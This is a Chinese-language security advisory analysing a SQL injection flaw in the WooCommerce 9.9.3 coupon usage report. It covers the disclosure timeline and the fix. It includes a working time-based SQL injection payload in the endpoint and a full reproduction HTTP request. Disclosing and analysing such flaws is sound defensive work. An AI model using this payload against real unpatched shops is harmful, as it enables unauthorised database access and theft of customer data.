WooCommerce SQL注入漏洞技术分析
漏洞概述
在WooCommerce插件9.9.3版本中发现一个SQL注入漏洞,位于WC_Report_Coupon_Usage类中。该漏洞需要"查看报告"权限,攻击者可通过构造恶意请求执行任意SQL语句。
漏洞端点
1
|
/wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+-
|
受影响平台
复现步骤
- 使用管理员账户登录系统(为简化测试)
- 修改请求中的主机和Cookie信息,使用已登录会话的Cookie
- 在coupon_codes参数中包含SQL注入载荷
请求示例
1
2
3
4
5
6
7
8
9
|
GET /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+- HTTP/1.1
Host: <host>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: <cookie of logged in session>
Connection: close
|
通过观察响应延迟可以验证漏洞存在。
技术分析
调用栈追踪
1
2
3
4
5
6
7
8
9
10
11
12
|
class-wc-admin-report.php:369, WC_Admin_Report->get_order_report_data()
class-wc-report-coupon-usage.php:449, WC_Report_Coupon_Usage->get_main_chart()
html-report-by-date.php:91, include()
class-wc-report-coupon-usage.php:153, WC_Report_Coupon_Usage->output_report()
class-wc-admin-reports.php:256, WC_Admin_Reports::get_report()
html-admin-page-reports.php:81, include_once()
class-wc-admin-reports.php:80, WC_Admin_Reports::output()
class-wc-admin-menus.php:348, WC_Admin_Menus->reports_page()
class-wp-hook.php:324, WP_Hook->apply_filters()
class-wp-hook.php:348, WP_Hook->do_action()
plugin.php:517, do_action()
admin.php:260, {main}()
|
漏洞代码段
在__construct方法中,coupon_codes参数未充分过滤:
1
2
3
4
5
6
7
|
public function __construct() {
if ( isset( $_GET['coupon_codes'] ) && is_array( $_GET['coupon_codes'] ) ) {
$this->coupon_codes = array_filter( array_map( 'sanitize_text_field', wp_unslash( $_GET['coupon_codes'] ) ) );
} elseif ( isset( $_GET['coupon_codes'] ) ) {
$this->coupon_codes = array_filter( array( sanitize_text_field( wp_unslash( $_GET['coupon_codes'] ) ) ) );
}
}
|
影响评估
该SQL注入漏洞存在于SELECT查询中,攻击者可以:
- 提取敏感数据
- 结合其他漏洞进行利用
- 对数据库进行未授权操作
修复状态
该漏洞已在最新版WooCommerce中修复(相关PR:https://github.com/woocommerce/woocommerce/pull/58857),漏洞评级为中等严重性。
时间线
- 2025年6月13日:漏洞报告提交
- 2025年6月18日:漏洞确认并修复
- 2025年6月24日:报告完全公开
该漏洞的发现和报告过程展示了白帽黑客与厂商之间的有效协作,最终确保了用户数据的安全。